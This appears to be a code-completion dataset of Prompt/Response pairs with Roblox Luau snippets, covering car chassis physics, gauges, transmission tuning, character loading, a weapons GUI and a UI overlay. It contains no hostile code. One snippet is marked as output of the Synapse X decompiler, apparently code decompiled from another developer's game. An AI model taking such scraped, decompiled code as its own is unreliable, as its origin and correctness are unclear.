				_RPM = _RPM-_Tune.RevBounce
			else
				_RPM = _RPM-_Tune.RevBounce*.5
			end
		end

		local TPsi = _TPsi/_TCount
		_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
		if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end

		local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
		_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
		_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
			if ((car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) > car.DriveSeat.CCS.Value) and (car.DriveSeat.CC.Value == true) then
				_HP,_OutTorque = 0,0
			else
				if _Tune.Aspiration ~= "Natural" then
					local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
					_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
					_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
					_HP = _NH + (_BH*(_Boost/2))
					_OutTorque = _NT + (_BT*(_Boost/2))
				else
					_HP = _NH
					_OutTorque = _NT
				end
			end

		local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
		if _CGear==-1 then iComp=-iComp end
		_OutTorque = _OutTorque*math.max(1,(1+iComp))

		--Average Rotational Speed Calculation
		local fwspeed=0
		local fwcount=0
		local rwspeed=0
		local rwcount=0

		for i,v in pairs(car.Wheels:GetChildren()) do
			if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
				fwspeed=fwspeed+v.RotVelocity.Magnitude
				fwcount=fwcount+1
			elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
				rwspeed=rwspeed+v.RotVelocity.Magnitude
				rwcount=rwcount+1
			end
		end
		fwspeed=fwspeed/fwcount
		rwspeed=rwspeed/rwcount
		local cwspeed=(fwspeed+rwspeed)/2

		--Update Wheels
		for i,v in pairs(car.Wheels:GetChildren()) do
			--Reference Wheel Orientation
			local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
			local aRef=1
			local diffMult=1
			if v.Name=="FL" or v.Name=="RL" then aRef=-1 end

			--AWD Torque Scaling
			if car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end

			--Differential/Torque-Vectoring
			if v.Name=="FL" or v.Name=="FR" then
				diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
				if car.DriveSeat.AWD.Value then
					diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
				end
			elseif v.Name=="RL" or v.Name=="RR" then
				diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
				if _Tune.Config == "AWD" then
					diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
				end
			end

			_TCSActive = false
			_ABSActive = false
			--Output
			if _PBrake and (v.Name=="RR" or v.Name=="RL") then
				--PBrake
				v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
				v["#AV"].angularvelocity=Vector3.new()
			else
				--Apply Power
				if _GBrake==0 then
					local driven = false
					for _,a in pairs(Drive) do if a==v then driven = true end end
					if driven then
						local on=1
						if not car.DriveSeat.IsOn.Value then on=0 end
						local clutch=1
						if not _ClutchOn then clutch=0 end
						local throt = (math.min(_GThrot +_CThrot,1)) * _GThrotShift

						--Apply TCS
						tqTCS = 1
						if _TCS then
							tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
						end
						if tqTCS < 1 then
							_TCSAmt = tqTCS
							_TCSActive = true
						end

						--Update Forces
						local dir=1
						if _CGear==-1 then dir = -1 end
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
						v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
					else
						v["#AV"].maxTorque=Vector3.new()
						v["#AV"].angularvelocity=Vector3.new()
					end

				--Brakes
				else
					local brake = (_GBrake + _CBrake)

					--Apply ABS
					local tqABS = 1
					if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
						tqABS = 0
					end
					_ABSActive = (tqABS<1)

					--Update Forces
					if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
					else
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
					end
					v["#AV"].angularvelocity=Vector3.new()
				end
			end
		end
	end


Prompt:
-- This function assumes the character exists when it's called and has default behavior,
-- i.e. developer is not parenting the character somewhere manually

Response:
function CharacterLoadedWrapper._waitForLoadedAsync(self: ClassType, character: Model)
	if not self:isLoaded() then
		-- Wait until the character is in Workspace so that the following conditions don't skip running.
		-- If the character is destroyed after this and never parented, :Wait() never resumes, causing the thread
		-- to yield forever, preventing the character from being garbage collected. Bug filed here:
		-- TODO: Add link to bug report
		if not character:IsDescendantOf(Workspace) then
			-- The character should be in workspace after waiting. However, deferred events may
			-- cause a character to get parented in and then back out before this :Wait() resumes,
			-- so we still need to check character.Parent later
			character.AncestryChanged:Wait()
		end

		-- Check character.Parent to avoid starting a :Wait() if the character is already destroyed
		-- which would keep the character from being garbage collected
		if character.Parent then
			if not isPrimaryPartSet(character) then
				character:GetPropertyChangedSignal("PrimaryPart"):Wait()
			end

			local humanoidMaybe = getHumanoid(character)
			if not humanoidMaybe then
				humanoidMaybe = waitForChildOfClassAsync(character, "Humanoid") :: Humanoid
			end

			local humanoid = humanoidMaybe :: Humanoid
			while not isHumanoidRootPartSet(humanoid) do
				humanoid.Changed:Wait() -- GetPropertyChangedSignal doesn't fire for RootPart, so we rely on .Changed
			end
		end

		-- Verify the character hasn't been destroyed and that no loaded criteria has become un-met.
		-- For example, the Humanoid being destroyed before the PrimaryPart was set
		if not self:isLoaded(character) then
			return
		end
	end

	-- Make sure this class wasn't destroyed while waiting for conditions to be true
	if self._destroyed then
		return
	end

	self:_listenForDeath(character)
	self.loaded:Fire(character)
end

function CharacterLoadedWrapper._listenForDeath(self: ClassType, character: Model)
	-- Debounce to prevent deferred events from letting .died event fire more than once,
	-- such as if the humanoid dies and the character is destroyed in the same compute cycle.
	-- With deferred events, that would fire both events on the next cycle, even if the connection
	-- is disconnected within the response to the event.
	local humanoid = getHumanoid(character) :: Humanoid

	local alreadyDied = false
	local diedConnection, removedConnection

	local function onDied()
		if alreadyDied then
			return
		end
		alreadyDied = true

		diedConnection:Disconnect()
		removedConnection:Disconnect()
		self.died:Fire(character)
	end

	diedConnection = humanoid.Died:Connect(onDied)

	-- .Destroying event would be preferred, but :LoadCharacter() just removes
	-- the character instead of destroying it. As long as that is the case, we
	-- can't use .Destroying to cover all edge cases.
	removedConnection = character.AncestryChanged:Connect(function()
		if not character:IsDescendantOf(Workspace) then
			onDied()
		end
	end)

	self._connections:add(diedConnection, removedConnection)
end

function CharacterLoadedWrapper.destroy(self: ClassType)
	self.loaded:DisconnectAll()
	self.died:DisconnectAll()
	self._destroyed = true

	self._connections:disconnect()
end

return CharacterLoadedWrapper


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 2.65			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	0.5		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		0.350		,	-- Reverse, Neutral, and 1st gear are required

	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]--
-- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local l__InfoOverlay__2 = u1.Assets.UI:WaitForChild("InfoOverlay");
local u2 = nil;
local l__Blocks__3 = l__InfoOverlay__2:WaitForChild("Blocks");
local u4 = {};
local u5 = nil;
local u6 = u1.PlayerModule.Get("Mouse");
local u7 = game:GetService("GuiService"):GetGuiInset();
local u8 = {};
function v1.Add(p1, ...)
	if u2 then
		v1.Remove();
	end;
	local v3 = l__InfoOverlay__2:FindFirstChild("Base"):Clone();
	local v4 = 0;
	for v5, v6 in ipairs({ ... }) do
		local v8 = v6[1];
		local v9 = l__Blocks__3:FindFirstChild(v8):Clone();
		local l__settings__10 = v9:FindFirstChild("settings");
		if l__settings__10 and l__settings__10:FindFirstChild("code") then
			coroutine.wrap(function()
				(u4[v8] or require(l__settings__10:FindFirstChild("code")))(v9, unpack(v6));
			end)();
		end;
		v9.LayoutOrder = v5 * 100;
		if l__settings__10 then
			local v11 = l__settings__10:GetAttribute("boundsX");
			local l__Y__12 = v11.Y;
			local v13 = 0;
			local v14 = 0;
			local v15 = 0;
			for v16, v17 in ipairs(v9:GetChildren()) do
				if v17:IsA("GuiObject") and v17.Visible then
					if v17.ClassName == "TextLabel" or v17.ClassName == "TextButton" then
						if v17.Size.X.Scale ~= 0 then
							local v19 = u1.TextService:GetTextSize(string.gsub(v17.Text, "<.->", function()
								return "";
							end), v17.TextSize, v17.Font, (Vector2.new(l__Y__12 * v17.Size.X.Scale, 1000))) + Vector2.new(4, 1);
							v13 = math.max(v19.X, v13);
							v14 = v14 + math.max(v19.Y, v9.AbsoluteSize.Y);
							v17.Size = UDim2.new(0, v19.X, 0, v19.Y);
						end;
					elseif v17.Size.X.Scale ~= 0 then
						v15 = v15 + v17.AbsoluteSize.Y;
					end;
				end;
			end;
			local v20 = v9:FindFirstChildOfClass("UIListLayout");
			if v20 and v20.FillDirection == Enum.FillDirection.Horizontal then
				v13 = math.max(v20.AbsoluteContentSize.X, v13);
			end;
			v9.Size = UDim2.new(1, 0, 0, v14 + v15);
			v4 = math.max(math.clamp(v13, v11.X, l__Y__12), v4);
		end;
		v9.Parent = v3.Frame.Blocks;
	end;
	local v21 = v3.Frame.Blocks:FindFirstChildOfClass("UIPadding");
	local v22 = v3.Frame.Blocks:FindFirstChildOfClass("UIListLayout");
	v22:ApplyLayout();
	v3.Size = UDim2.new(0, v4 + v21.PaddingLeft.Offset + v21.PaddingRight.Offset, 0, v22.AbsoluteContentSize.Y + v21.PaddingTop.Offset + v21.PaddingBottom.Offset);
	v3.UIScale.Scale = 1 - (1 - math.min(u1.Functions.ResolutionScale(), 1)) / 1.5;
	if not u5 then
		u5 = Instance.new("ScreenGui");
		u5.DisplayOrder = 100;
		u5.ZIndexBehavior = Enum.ZIndexBehavior.Global;
		u5.ResetOnSpawn = false;
		u5.Name = "InfoOverlay";
		u5.Parent = u1.PlayerModule.Get("PlayerGui");
	end;
	v3.Parent = u5;
	u2 = v3;
	u1.GUI.ToggleCursor(false);
	local v23 = nil;
	for v24, v25 in ipairs({ ... }) do
		if v25[1] == "Rarity" and v25[2] then
			v23 = v25[2];
			break;
		end;
	end;
	if v23 == "Mythical" or v23 == "Exclusive" then
		local v27 = v3.Frame:FindFirstChildOfClass("UIStroke");
		v27.Color = Color3.new(1, 1, 1);
		local v28 = u1.Assets.UI.Raritys:FindFirstChild(v23):Clone();
		v28.Parent = v27;
		if v23 == "Mythical" then
			v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 85, 255);
		elseif v23 == "Exclusive" then
			v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 170, 255);
		end;
		if v23 == "Mythical" then
			task.defer(function()
				local v29 = true;
				while v3 and v3.Parent do
					local v30 = v29 and Color3.fromRGB(255, 245, 230) or Color3.new(1, 1, 1);
					u1.Functions.Tween(v3.pointer, { 1.25, 1, 2 }, {
						ImageColor3 = v30
					});
					u1.Functions.Tween(v3.Frame, { 1.25, 1, 2 }, {
						BackgroundColor3 = v30
					}).Completed:Wait();
					v29 = not v29;
				end;
			end);
		end;
		task.defer(function()
			while v3 and v3.Parent do
				v28.Rotation = os.clock() * 250;
				u1.RenderStepped();
			end;
		end);
	end;
	local u9 = "Down";
	task.defer(function()
		while v3 and v3.Parent do
			local v31 = u6.X;
			local v32 = u6.Y;
			local l__X__33 = v3.AbsoluteSize.X;
			local l__Y__34 = v3.AbsoluteSize.Y;
			local v35 = game.Workspace.CurrentCamera.ViewportSize.Y - u7.Y;
			if u1.Variables.Console then
				v31 = p1.AbsolutePosition.X + p1.AbsoluteSize.X * 0.5;
				v32 = p1.AbsolutePosition.Y + p1.AbsoluteSize.Y * 0.5;
			end;
			if v32 + l__Y__34 + 30 < v35 then
				u9 = "Down";
			elseif v32 - l__Y__34 - 30 > 0 then
				u9 = "Up";
			end;
			local v36
			if u9 == "Down" then
				v36 = 30;
			else
				v36 = -30;
			end;
			local v37
			if u9 == "Down" then
				v37 = 0;
			else
				v37 = 1;
			end;
			v3.AnchorPoint = Vector2.new(0, v37);
			local v38
			v3.Position = UDim2.new(0, math.clamp(v31 + 30, 0, game.Workspace.CurrentCamera.ViewportSize.X - u7.X + (-l__X__33 and l__X__33)), 0, (math.clamp(v32 + v36, 0, v35 + (u9 == "Down" and -l__Y__34 or l__Y__34))));
			if u9 == "Down" then
				v38 = 1;
			else
				v38 = 0;
			end;
			v3.pointer.AnchorPoint = Vector2.new(1, v38);
			local v39
			if u9 == "Down" then
				v39 = 0;
			else
				v39 = 1;
			end;
			local v40
			if u9 == "Down" then
				v40 = 30;
			else
				v40 = -30;
			end;
			v3.pointer.Position = UDim2.new(0, 30, v39, v40);
			if u9 == "Down" then
				v3.pointer.Rotation = 0;
			elseif u9 == "Up" then
				v3.pointer.Rotation = -90;
			else
				v3.pointer.Rotation = -180;
			end;
			u1.RenderStepped();
		end;
	end);
	task.defer(function()
		while v3 and v3.Parent do
			local l__X__41 = u6.X;
			local l__Y__42 = u6.Y;
			local l__X__43 = p1.AbsolutePosition.X;
			local l__Y__44 = p1.AbsolutePosition.Y;
			if not u1.Variables.Console then
				if l__X__43 + p1.AbsoluteSize.X < l__X__41 or l__X__41 < l__X__43 or l__Y__44 + p1.AbsoluteSize.Y < l__Y__42 or l__Y__42 < l__Y__44 then
					v1.Remove();
				end;
			elseif u1.GuiService.SelectedObject ~= p1 then
				v1.Remove();
			end;
			u1.RenderStepped();
		end;
	end);
	if u1.Variables.Mobile then
		local u10 = nil;
		local u11 = tick();
		u10 = p1.MouseButton1Up:Connect(function()
			u10:Disconnect();
			if tick() - u11 < 0.5 then
				v1.Remove();
			end;
		end);
		u8[#u8 + 1] = u10;
	end;
end;
function v1.Remove()
	if u2 then
		for v45, v46 in ipairs(u8) do
			v46:Disconnect();
		end;
		u8 = {};
		u2:Destroy();
		u1.GUI.ToggleCursor(true);
		u2 = nil;
	end;
end;
return v1;


Prompt: -- << ASSET PERMISSIONS >> (e.g. Gamepasses, Shirts, Models etc)

Response: local Asset_Permissions = false -- Set to 'true' to use


Prompt:
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds.

Response:
settings.SoundSource = Box

settings.CameraCFrame = CFrame.new(
	(Box.CFrame * CFrame.new(0, 5, 3)).p, -- +z is towards player
	(Box.CFrame * CFrame.new(0, 1, 1)).p
)


Prompt: -- This scales the scale amount non-linearly according to scaleWeight

Response:
function WeaponsGui:getWeightedScaleAmount(originalScaleAmount, newScreenDim, referenceScreenDim)
	return (1 - self.scaleWeight) * originalScaleAmount * referenceScreenDim / newScreenDim + self.scaleWeight * originalScaleAmount
end

function WeaponsGui:updateScale(guiObject, viewportSize)
	if guiObject:IsA("GuiObject") then
		local xScale = guiObject.Size.X.Scale
		local yScale = guiObject.Size.Y.Scale
		if xScale ~= 0 or yScale ~= 0 or self.originalScaleAmounts[guiObject] ~= nil then
			if self.originalScaleAmounts[guiObject] == nil then
				self.originalScaleAmounts[guiObject] = Vector2.new(xScale, yScale)
			end

			xScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].X, viewportSize.X, self.referenceViewportSize.X)
			yScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].Y, viewportSize.Y, self.referenceViewportSize.Y)
			guiObject.Size = UDim2.new(xScale, 0, yScale, 0)
		end
		return -- makes it so only the most outer container will be scaled
	end

	for _, child in ipairs(guiObject:GetChildren()) do
		self:updateScale(child, viewportSize)
	end
end

function WeaponsGui:setEnabled(enabled)
	if self.enabled == enabled then
		return
	end

	self.enabled = enabled
	if self.enabled then
		self.connections.renderStepped = RunService.RenderStepped:Connect(function(dt) self:onRenderStepped(dt) end)
	else
		self:setZoomed(false)

		for _, v in pairs(self.connections) do
			v:Disconnect()
		end
		self.connections = {}
	end

	if self.gui then
		self.gui.Enabled = self.enabled
	end
end

function WeaponsGui:setCrosshairEnabled(crosshairEnabled)
	if self.crosshairEnabled == crosshairEnabled then
		return
	end

	self.crosshairEnabled = crosshairEnabled
	if self.crosshairFrame then
		self.crosshairFrame.Visible = self.crosshairEnabled
	end
	if self.hitMarker then
		self.hitMarker.ImageTransparency = 1
		self.hitMarker.Visible = self.crosshairEnabled
	end
end

function WeaponsGui:setScopeEnabled(scopeEnabled)
	if self.scopeEnabled == scopeEnabled then
		return
	end

	self.scopeEnabled = scopeEnabled
	if self.scopeFrame then
		self.scopeFrame.Visible = self.scopeEnabled
	end

	local jumpButton = getJumpButton()

	if self.scopeEnabled then
		self.smallFireButton.Visible = true
		self.largeFireButton.Visible = true

		if jumpButton then
			jumpButton.Visible = false
		end
	else
		self.smallFireButton.Visible = false
		self.largeFireButton.Visible = false

		if jumpButton then
			jumpButton.Visible = true
		end
	end
end

function WeaponsGui:setCrosshairWeaponScale(scale)
	if self.crosshairWeaponScale == scale then
		return
	end

	self.crosshairWeaponScale = scale
end

function WeaponsGui:setCrosshairScaleTarget(target, dampingRatio, frequency)
	if typeof(dampingRatio) == "number" then
		self.crosshairDampingRatio = dampingRatio
	end
	if typeof(frequency) == "number" then
		self.crosshairFrequency = frequency
	end
	if self.crosshairScaleTarget == target then
		return
	end

	self.crosshairScaleTarget = target
	SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget })
end

function WeaponsGui:setCrosshairScale(scale)
	if self.crosshairScale == scale then
		return
	end

	self.crosshairScale = scale
	SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget })
end

function WeaponsGui:OnHitOtherPlayer(damage, humanoidHit) -- show hit indicator, then fade
	self.hitMarker.ImageTransparency = 0
	local tweenInfo = TweenInfo.new(0.8)
	local goal = {}
	goal.ImageTransparency = 1
	local tween = TweenService:Create(self.hitMarker, tweenInfo, goal)
	tween:Play()

	DamageBillboardHandler:ShowDamageBillboard(damage, humanoidHit.Parent:FindFirstChild("Head"))
end

function WeaponsGui:onRenderStepped(dt)
	if not self.enabled then
		return
	end
	if not self.gui then
		return
	end

	if self.crosshairFrame and self.crosshairEnabled then
		local crosshairSize = self.crosshairNormalSize * self.crosshairScale * self.crosshairWeaponScale
		self.crosshairFrame.Size = UDim2.new(0, crosshairSize.X, 0, crosshairSize.Y)
	end
end

function WeaponsGui:setZoomed(zoomed)
	if zoomed == self.isZoomed then
		return
	end

	self.isZoomed = zoomed
	local normalImage = self.isZoomed and AIM_OFF_NORMAL or AIM_ON_NORMAL
	local pressedImage = self.isZoomed and AIM_OFF_PRESSED or AIM_ON_PRESSED

	if self.smallAimButton then
		self.smallAimButton.Image = normalImage
		self.smallAimButton.PressedImage = pressedImage
	end
	if self.largeAimButton then
		self.largeAimButton.Image = normalImage
		self.largeAimButton.PressedImage = pressedImage
	end

	if self.weaponsSystem.camera then
		self.weaponsSystem.camera:setForceZoomed(self.isZoomed)
	end
end

function WeaponsGui:onTouchAimButtonActivated()
	self:setZoomed(not self.isZoomed)
end

function WeaponsGui:onTouchFireButton(inputObj, inputState)
	local currentWeapon = self.weaponsSystem.currentWeapon
	if currentWeapon and currentWeapon.instance and currentWeapon.instance:IsA("Tool") then
		if inputObj.UserInputState == Enum.UserInputState.Begin then
			currentWeapon.instance:Activate()
			if self.smallFireButton then
				self.smallFireButton.Image = FIRE_PRESSED
			end
			if self.largeFireButton then
				self.largeFireButton.Image = FIRE_PRESSED
			end

			inputObj:GetPropertyChangedSignal("UserInputState"):Connect(function()
				if inputObj.UserInputState == Enum.UserInputState.End then
					currentWeapon.instance:Deactivate()
					if self.smallFireButton then
						self.smallFireButton.Image = FIRE_NORMAL
					end
					if self.largeFireButton then
						self.largeFireButton.Image = FIRE_NORMAL
					end
				end
			end)
		end
	end
end

return WeaponsGui


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 14
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
	intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 175 / 7000
end)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "N"
		car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
		car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
		car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
	end
	script.Parent.Gear.Text = gearText
	car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
	car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)

script.Parent.Parent.Values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
